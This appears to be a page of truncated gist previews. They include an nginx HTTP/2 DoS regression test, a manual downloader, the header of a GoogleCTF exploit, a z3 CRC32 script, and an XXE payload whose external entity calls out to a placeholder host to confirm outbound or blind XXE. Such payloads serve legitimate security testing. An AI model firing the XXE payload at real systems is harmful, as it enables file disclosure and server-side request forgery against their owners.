tirkarthi

# Empty headers in HTTP/2 streams can cause DoS. A test based on http://hg.nginx.org/nginx-tests .
# Takes around 8 seconds without the patch at https://github.com/nginx/nginx/commit/6dfbc8b1c2116f362bb871efebbf9df576738e89
# Start 2019-08-14 1565776248
# End 2019-08-14 1565776256
# https://www.nginx.com/blog/nginx-updates-mitigate-august-2019-http-2-vulnerabilities/

use POSIX qw/strftime/;
print "Start ", strftime('%Y-%m-%d %s',localtime), " \n";

$s = Test::Nginx::HTTP2->new();

ckuethe

#!/usr/bin/env python
# vim: tabstop=4:softtabstop=4:shiftwidth=4:expandtab:

import os
import requests
import sys

docs = {
    '68000': {
        'M68000PRM.pdf': 'https://www.nxp.com/files-static/archives/doc/ref_manual/M68000PRM.pdf',

saelo

#!/usr/bin/env python3
#
# Exploit for "assignment" of GoogleCTF 2017
#
# CTF-quality exploit...
#
# Slightly simplified and shortened explanation:
#
# The bug is a UAF of one or both values during add_assign() if a GC is
# triggered during allocate_value(). The exploit first abuses this to leak a

staaldraad

--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>

percontation

#!/usr/bin/python
from z3 import *

# Data must be in 32 bit chunks, because I'm lazy.
def z3crc32(data, crc = 0):
    crc ^= 0xFFFFFFFF
    for c in data:
        for block in range(24, -1, -8):
            crc ^= LShR(c, block) & 0xFF
            for i in range(8):